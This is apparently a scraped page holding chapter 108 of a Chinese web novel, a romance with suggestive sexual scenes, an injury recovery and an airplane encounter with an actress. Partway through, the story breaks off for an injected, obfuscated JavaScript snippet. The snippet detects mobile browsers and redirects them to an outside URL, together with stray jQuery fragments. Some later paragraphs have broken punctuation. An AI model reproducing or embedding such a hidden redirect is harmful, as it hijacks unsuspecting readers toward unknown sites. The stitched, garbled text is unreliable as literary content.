默认冷灰
24号文字
方正启体

第108章

作者:坏猫霸霸本书字数:K更新时间:
    陈则眠觉得陆灼年可能已经发现他是主角了。


    但他又没有证据,更不可能主动询问。


    所以只能装作无事发生。


    也不是真的无事发生,虽然躲过一劫,可他右手掌心被电梯缆绳磨得皮开肉绽,清理伤口时差点没给他痛死。


    外国医生讲话又快,专业名词又多,叽里咕噜的陈则眠也没听明白他在说啥。


    陆灼年面色凝重,时不时微微颔首点头,间或冒出几个短暂的单词,翻译过来都是‘好的,明白’、‘我会持续观察’、‘是/不是’、‘还有什么需要注意吗’、‘他很疼’之类,也听不出具体实质内容。


    陈则眠有点坐不住了,心里也开始打鼓,泛起一阵后怕。


    陆灼年表情怎么这么严肃,难道我伤得很重?


    该不会废了吧。


    哎呀,真是的,这两个人叽叽咕咕说什么呢,能不能说点华国人能听懂的。


    陈则眠探头探脑,想摸出手机翻译器,才动了一下就被陆灼年按住后颈。


    “别乱动。”


    这回他倒是说中文了。


    陈则眠心急火燎,坐立难安,抓着陆灼年问:“说啥呢说啥呢?我这只手怎么样?还有救吗?不会影响生活吧,还能写字吃饭吗?”


    陆灼年淡淡睨了陈则眠一眼,一个问题都没回答,只是不咸不淡地说:“现在知道怕了。”


    陈则眠本来有点怕了的,右手是他从小用惯了的,若是突然不能用了,别说将来打架斗殴会受影响,就是日常生活可能都成问题。


    但一听陆灼年这句话,他就不怕了。


    毕竟如果他的手真出了什么问题,陆灼年只会比他更急,根本不可能还有心情讲这种风凉话。


    陈则眠放松脊背,靠回椅子上:“没怕啊,谁怕了,就是一只手,又没断没掉的,不影响美观就行。”


    陆灼年看了他一眼,没说话,从医生手中接过报告单,低头签字。


    英文口语讲得快陈则眠听不懂,落到纸面变成单词他就行了,探头看向报告单,断断续续看懂了大概的意思。


    “肌腱断裂啊,”陈则眠把下巴搭在陆灼年肩膀,嘀嘀咕咕地说:“难怪做握拳时那么疼。”


    陆灼年微微侧头,鼻尖蹭在陈则眠脸颊:“我问过大夫,部分断裂不会影响正常生活,也不需要做手术,但是要注意休息静养,避免二次损伤,只有严重到无法正常进行伸屈活动,才需


    要进行手术修复韧带。”


    陈则眠看着陆灼年颜色漂亮的嘴唇,不自觉地咽了下口水,偷瞥医生一眼,仗着老外听不懂中文,压低声音悄悄对陆灼年说:“右手要休息静养,今晚你要是犯病,我就只能用左手帮你了,陆少爷。”


    陆灼年呼吸有瞬息变化,眸色也倏然幽深,然而下一秒,他直接拨开陈则眠的脑袋:“犯病也不用你,等你把手养好了再说。”


    陈则眠知道陆灼年这是在赌气,笑嘻嘻地凑过去哄他:“手坏了又不影响做,用我吧,用我吧。”


    陆灼年沉默几秒:“暂且留用,以观后效。”


    陈则眠点点头,忍不住笑出声,刚笑了两声就‘嗷呜’一声痛呼,迅速往回收手:“疼疼疼疼。”


    外科医生按着他手腕:“别躲,在消毒。”


    陈则眠听懂了,用英文回复:“我还没有准备,你怎么不提前说一声。”


    医生:“我提醒你了,你刚才不是点头了吗?”


    陈则眠:“……”


    消完毒以后,陈则眠右手被包成了粽子,失去了一半自理能力。


    回到家,洗澡都是陆灼年给他洗的。


    “风水轮流转哎,”


    陈则眠躺在浴缸里,举着被保鲜膜包裹的右手,感叹道:“我那时候怎么都想不到,自己居然还能有被陆少爷伺候的一天。”


    陆灼年用湿毛巾给陈则眠擦脸:“还好意思说,你知不知道有多吓人,陈则眠。”


    陈则眠扒着浴缸,还在回味自己的精彩瞬间:“我掉下电梯井的时候,你是不是以为我死定了,但是咱身手灵活,就那么信手一勾,就抓住了缆绳,牛不牛?”


    陆灼年:“你坐起来点,我给你洗头发。”


    陈则眠想躺着洗,就往浴缸里挪了挪:“我要躺着洗。”


    陆灼年解开睡衣扣,抬步迈进浴缸,陈则眠躺在他怀里,让陆灼年给自己洗头发。


    两个人在浴缸里贴得很近,陈则眠洗到一半蠢蠢欲动,头发才冲干净,还没有擦脸就眯着眼去亲陆灼年。


    陆灼年一只手托着陈则眠,另一只手拿浴花给他身上打泡沫。


    陈则眠浑身都滑溜溜的,轻轻蹭着陆灼年,说:“我也帮你洗。”


    陆灼年打开花洒冲水,心无旁骛地给陈则眠洗澡:“你能老实点吗?”


    陈则眠见陆灼年一副坐怀不乱的样子,十分惊诧:“哎?你怎么没犯性瘾。”


    陆灼


    年拽过浴巾,把洗干净的陈则眠抱出浴缸,随口道:“没心情犯。


    陈则眠伸手往下一掏:“这不是挺有心情的吗?


    陆灼年将人轻轻放回床上,又取来吹风机给他吹头发:“别想那些有的没的,今晚不做。


    陈则眠失望地‘啊’了一声:“为什么?


    吹风机呼呼的声响中,他听到陆灼年说:“我现在不稳定,很难控制住自己,会把你弄疼。


    陈则眠觉得陆灼年挺稳定的,直接勾着对方脖颈吻上去:“我不怕疼。


    陆灼年闭上眼,紧紧抱住怀中温暖的身体:“我怕你疼。


    陈则眠顺着唇角一路亲上耳垂,在陆灼年耳旁低语:“可是我现在很想爽一下,可以吗?陆灼年。


    温热的吐息打在耳蜗,酥麻入骨。


    陆灼年眸色深沉,眼底充斥着强烈的情绪,语气却冷淡地像是在评价一件商品:“你现在的样子,和缠着主人要罐头的猫没两样。


    陈则眠简直爱**陆灼年这种反差。


    裹满纱布的右手轻轻搭在陆灼年小腹,陈则眠拽起对方的手放在自己身上,飞快地看了陆灼年一眼,问:“那你要撸猫吗?


    陆灼年垂眸凝视陈则眠数秒,说了两个字:“馋猫。


    陈则眠摸着陆灼年线条流畅的背肌,开始心猿意马。


    他歪头靠在陆灼年身上,白皙的脖颈勾得纤长,颈侧红痣更是艳得烫眼。


    陆灼年将手放在陈则眠脖颈,盖住了那点令他意乱神迷的颜色。


    陈则眠半跪在床边,抬头去舔陆灼年嘴唇,又顺着下颌、脖颈继续往下吻。


    别说陆灼年本来就犯了性瘾,就算没犯,也禁不住陈则眠这样撩拨。


    陆灼年闭上眼,胸膛剧烈起伏,用尽最后的意志告诉陈则眠:“我现在真的不太能控制住自己,你手还伤了一只,可能没办法想停下就停下。


    “不停就不停,陈则眠不以为意,抬手将陆灼年推在床上:“你也太小看我了,第一次你搞了三天我都没要停下。


    这次还能比三天更长?


    能比三天长。


    但强度没有那三天高,陆灼年从始至终都很温柔,结束后陈则眠身上没有半点不适,收拾收拾换了衣服就去学校找萧可颂,想告诉他陆自瑧已经走了,可以不用假装半工半读了。


    他右手的伤在掌心,手指屈伸完全不受影响,陈则眠思考了一下,觉得


    自己开车问题不大结果还没开到学校就抻裂了伤口渗出的血把纱布都打湿了。


    陈则眠很怕陆灼年发现自己偷摸去了医院换药没想到前脚刚进医院


    重新包扎伤口后陈则眠被陆灼年押回了公寓。


    “我还是太轻信你了本来以为你能自己养好伤结果才和你分开四个小时你就把伤口弄坏了。”


    陆灼年面色沉静语气听不出喜怒只是说:“既然如此那伤口愈合前你都别再出门了。”


    为了防止伤口再次撕裂陆灼年直接用固定器把他右手固定了起来还请了两周的假每天哪儿都不去就在家里看着陈则眠。


    陈则眠被迫居家养伤右手还彻底失去了行动能力只剩下左手别说是用电脑就是玩手机都不方便。


    想看电视打发时间还都是英文节目。


    萧可颂没课的时候来找他玩三个人打了会儿斗地主陈则眠却发现一只手连玩牌都没法玩。


    在餐厅打了几天工的萧可颂学到了很多服务技巧中午吃饭非要给陈则眠服务一边端菜倒水一边科普应侍生礼仪。


    陈则眠靠在椅背上悠闲地看着萧可颂表演。


    倒水前萧可颂拎着水壶讲解:“应侍生手不能触碰杯口通常倒至七分满而且壶嘴不可以对着客人。”


    陈则眠恍然大悟:“厉害厉害厉害。”


    萧可颂拿起水杯侧过身:“为了防止水洒在桌面上我们都是把杯子拿起来倒。”


    他光顾着说话没顾着看水直接把水倒在了陈则眠包着纱布的右手上。


    也是非常多灾多难的一只手了。


    由于包着纱布陈则眠甚至没有第一时间感觉到手湿了萧可颂回头时看到湿漉漉的纱布吓得魂飞魄散直接一把捂住陈则眠的嘴。


    “别叫!”萧可颂压低声音:“不许出声。”


    陈则眠说这才发现水洒了。


    “你们餐厅就是这么叫你服务的?”陈则眠低头看着手上滴水的纱布:“猛踹瘸子那条坏腿。”


    萧可颂把水杯放在陈则眠右手边:“你就说是不是没洒桌面上吧。”


    陈则眠看了萧可颂一眼扬声叫陆灼年来帮自己换纱布。


    萧可颂做贼心虚趁陆灼年还没过来扔下水壶就跑了连着好几天不敢再登门拜访。


    陈则眠叫他来玩他都怀疑是要把


    他骗过去算账。


    长那俩心眼也是全用自己人身上了。


    陈则眠又在家闷了两天,实在太过无聊。


    在影音室看了几张电影碟片,陈则眠觉得人不能坐以待毙,还是要学会自己给自己找乐子。


    他抱着爆米花,转头看向陆灼年。


    陆灼年对陈则眠的视线很敏感,察觉到陈则眠看自己,按下暂停键问:“怎么了?是手疼还是想吃水果?”


    同样都是大少爷,和不靠谱的萧可颂比起来,陆灼年可以说是细致入微、面面俱到,把陈则眠照顾得很好。


    金属钢丝绳摩擦产生伤口,疮面不平整还特别容易感染,陈则眠的伤口被自己抻得撕裂了一次,又被萧可颂的茶水泡了一回,几经波折竟然都没有感染发炎。


    陆灼年对他不是一丁半点的上心。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371848|183960||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    影音室光线暗淡,巨幅屏幕亮起的蓝光映在陆灼年英俊的面庞上,显得五官更加深邃。


    陈则眠喉结动了动,突然提出来一个民生问题:“你知道为什么五六十年代小孩都特别多吗?”


    陆灼年:“……”


    自此,陈则眠找到了新的娱乐方式,乐此不疲,解锁了多种玩法。


    于是后来手是养好了,但尿道炎又犯了。


    一犯尿道炎就总想去撒尿,但其实他并没有太多尿,关键一用力还疼,陈则眠尿也难受憋着更难受,还有点发烧,全身没劲儿,倒在沙发上生无可恋,额头贴着退热贴,难受得直哼哼。


    明明是陈则眠不知节制,但他舍不得责怪自己,反而怪陆灼年太诱人。


    陆灼年也是第一次听到有人用这两个词形容自己,很惊奇地看着陈则眠,一时竟不知该说些什么。


    好在这病来得快去得也快,吃点药就好了。


    陈则眠好了伤疤忘了疼,虽然生病时发誓此生再不纵欲,但身体已经食髓知味,只要和陆灼年单独在一起,就还是忍不住想摸想亲。


    两个人经过一番商议,陈则眠决定先回国冷静一段时间。


    陆灼年不放心他自己回去,专程挑了个周末,坐国际航班送陈则眠回国。


    陈则眠大为感动,毕竟自己下了飞机就回家了,陆灼年还得坐飞机回去。


    这一来一回三十几个小时,可不是一般的折腾。


    而且为了减少两班飞机之间的等候时长,航班选择上不可避免地受到了限制,无法选到最豪华的航班。


    回程飞机的头等舱


    都没有单独房间,陈则眠觉得自己真是大大地委屈了陆灼年。


    为此,他特意喝了两杯咖啡没有睡觉,小声跟陆灼年聊天,分享从网上看来的搞笑段子。


    陈则眠问陆灼年:“假如你给领导敬酒时说‘感谢领导一直以来的照顾’,领导却说‘我可没照顾你’,这时候你咋说?”


    陆灼年面无表情:“还没有领导敢和我这样说话。”


    陈则眠用‘你真没劲’的眼神看了他一眼:“不要带入自己的身份,要带入打工人的角色。”


    陆灼年反问:“那该怎么回?”


    陈则眠给他看网友的回复:“你没给我使绊子,就是对我最大的照顾。”


    前排戴着帽子口罩的长发女生听到这句话,没忍住笑了两声,微微起身转过来看了陈则眠一眼。


    陈则眠做了个抱歉的手势:“对不起,我是吵到你了吗?”


    女生摇了下头,看看陈则眠,又看看陆灼年,礼貌地叫了声:“陈少,陆少。”


    声音听着有点哑,像是感冒了。


    陈则眠愣了愣,没听出来是谁,侧头看向陆灼年。


    女生抬手摘下了口罩。


    她长得很漂亮,头发烫了慵懒的韩系大卷,披散在肩头,肤色白皙,素颜,没化妆,看着有点眼熟。


    陈则眠还在辨认,陆灼年已经叫出了对方的名字。


    “程紫伊。”


    经过陆灼年提醒,陈则眠才猛地想起来,眼前这位女生是原书女配,之前在赛车俱乐部见过一面的未来影后。


    陈则眠说:“不好意思,我脸盲。”


    程紫伊淡淡笑了笑,抬手挽了下头发:“不怪陈少,是我妆前妆后差距大,回去赶通告,行程紧没来得化妆。”


    陈则眠余光瞥到程紫伊手背贴着输液贴,联想到前两天看到热搜——


    #当红小花程紫伊国外参加综艺晕倒#


    陈则眠说:“你们做艺人也挺辛苦的,都生病了还要赶国际航班。”


    程紫伊下意识捂了下手背:“没事,就是有点发烧。”


    陈则眠点点头:“那你快休息一会儿吧,我不说话了。”


    陆灼年面露不悦,但没有提出反对意见。


    程紫伊立刻说:“没关系,没关系,我就是觉得很巧,和你们打个招呼,陈少您讲话声音不大,还特别有意思,我特别喜欢您刚才说的那个笑话。”


    听到这话,陆灼年的脸色更差了。


    程紫伊见


    陆灼年周围气压猛降尴尬地笑了笑赶紧戴上口罩转回去了没敢再和陈则眠搭话。


    十五个小时的行程实在太长陈则眠虽然决定要坚持陪陆灼年到下飞机但最终也就坚持了两个小时。


    等到航程过半飞机上很多旅客都睡着了。


    陈则眠盖着毯子


    前排的程紫伊身体好像不太舒服叫了好几次空姐。


    陈则眠睡觉轻身边总是有人走来走去他很快就醒了听到程紫伊小声用英文和空姐要了热水。


    金发碧眼的空姐说:“小姐你脸看起来很红需要体温计和冰袋吗?”


    程紫伊回答不用空姐就离开了。


    陈则眠坐起身从包里翻出退热贴递过去:“你又发烧了吗?我这儿有退热贴。”


    程紫伊正拿着药瓶往手心里倒药忽然听到身后有人和她说话不禁吓了一跳。


    手一颤药瓶陡然滑落。


    陈则眠眼疾手快扒着隔板伸手一捞接住了药瓶下意识瞥了一眼。


    只见药瓶上写着一串他再熟悉不过的英文——


    Paroxetine.


    帕罗西汀。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)